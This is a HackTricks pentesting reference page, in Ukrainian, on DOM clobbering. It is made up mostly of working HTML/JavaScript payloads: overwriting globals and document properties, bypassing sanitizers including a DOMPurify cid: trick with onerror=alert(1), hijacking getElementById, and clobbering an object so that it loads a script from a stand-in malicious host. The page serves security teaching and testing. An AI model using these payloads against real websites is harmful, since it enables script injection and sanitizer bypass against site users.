Dom Clobbering

Support HackTricks

Основи

Можливо генерувати глобальні змінні в контексті JS з атрибутами id та name в HTML тегах.

<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>

Тільки певні елементи можуть використовувати атрибут name для клобберингу глобальних змінних, це: embed, form, iframe, image, img та object.

Цікаво, що коли ви використовуєте елемент форми для клобберингу змінної, ви отримаєте toString значення самого елемента: [object HTMLFormElement], але з якорем toString буде значення якоря href. Тому, якщо ви клобберите за допомогою a тегу, ви можете контролювати значення, коли воно обробляється як рядок:

<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>

Масиви та атрибути

Також можливо перезаписати масив та атрибути об'єкта:

<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>

Щоб знищити третій атрибут (наприклад, x.y.z), вам потрібно використовувати form:

<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>

Clobbering більше атрибутів є більш складним, але все ще можливим, використовуючи iframes:

<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>

Тег стилю використовується для надання достатньо часу для рендерингу iframe. Без нього ви отримаєте сповіщення про невизначене.

Щоб перекрити глибші атрибути, ви можете використовувати iframes з html-кодуванням таким чином:

<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>

Обхід фільтрації

Якщо фільтр перебирає властивості вузла, використовуючи щось на зразок document.getElementByID('x').attributes, ви можете перезаписати атрибут .attributes і зламати фільтр. Інші властивості DOM, такі як tagName, nodeName або parentNode та інші також є перезаписуваними.

<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>

Клобберинг window.someObject

В JavaScript часто можна зустріти:

var someObject = window.someObject || {};

Маніпулювання HTML на сторінці дозволяє перезаписати someObject з DOM-елементом, що потенційно вводить уразливості безпеки. Наприклад, ви можете замінити someObject на елемент посилання, що вказує на шкідливий скрипт:

<a id=someObject href=//malicious-website.com/malicious.js></a>

В уразливому коді, наприклад:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

Цей метод експлуатує джерело скрипта для виконання небажаного коду.

Трюк: DOMPurify дозволяє використовувати протокол cid:, який не кодує URL подвійні лапки. Це означає, що ви можете впровадити закодовану подвійні лапки, яка буде декодована під час виконання. Тому, впроваджуючи щось на кшталт <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">, HTML закодоване &quot; буде декодовано під час виконання і вийде з значення атрибута, щоб створити подію onerror.

Інша техніка використовує елемент form. Деякі бібліотеки на стороні клієнта перевіряють атрибути новоствореного елемента форми, щоб очистити їх. Однак, додавши input з id=attributes всередині форми, ви ефективно перезаписуєте властивість атрибутів, запобігаючи санітайзеру доступ до фактичних атрибутів.

Ви можете знайти приклад цього типу клобберингу в цьому CTF звіті.

Клобберинг об'єкта документа

Згідно з документацією, можливо перезаписати атрибути об'єкта документа, використовуючи DOM Clobbering:

Інтерфейс Document підтримує іменовані властивості. Підтримувані імена властивостей об'єкта Document в будь-який момент складаються з наступних, у деревоподібному порядку відповідно до елемента, який їх надав, ігноруючи пізні дублікати, і з значеннями з атрибутів id, які йдуть перед значеннями з атрибутів name, коли один і той же елемент надає обидва:

- Значення атрибута вмісту name для всіх експонованих embed, form, iframe, img та експонованих object елементів, які мають непорожній атрибут вмісту name і знаходяться в дереві документа з документом як їх коренем; - Значення атрибута вмісту id для всіх експонованих object елементів, які мають непорожній атрибут вмісту id і знаходяться в дереві документа з документом як їх коренем; - Значення атрибута вмісту id для всіх img елементів, які мають як непорожній атрибут id, так і непорожній атрибут вмісту name, і знаходяться в дереві документа з документом як їх коренем.

Використовуючи цю техніку, ви можете перезаписати загальновживані значення, такі як document.cookie, document.body, document.children, і навіть методи в інтерфейсі Document, такі як document.querySelector.

document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Writing after the element clobbered

Результати викликів document.getElementById() та document.querySelector() можуть бути змінені шляхом ін'єкції тегу <html> або <body> з ідентичним атрибутом id. Ось як це можна зробити:

<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>

Крім того, використовуючи стилі для приховування цих ін'єкованих HTML/body тегів, можна запобігти втручанню з іншого тексту в innerText, тим самим підвищуючи ефективність атаки:

<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Дослідження SVG виявили, що тег <body> також може бути ефективно використаний:

<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Щоб HTML тег працював у SVG в браузерах, таких як Chrome і Firefox, необхідний тег <foreignobject>:

<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>

Clobbering Forms

Можливо додати нові записи всередині форми, просто вказавши атрибут form всередині деяких тегів. Ви можете використовувати це, щоб додати нові значення всередині форми і навіть додати нову кнопку для відправки (клікджекинг або зловживання деяким кодом JS .click()):

<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Посилання

Підтримати HackTricks

Last updated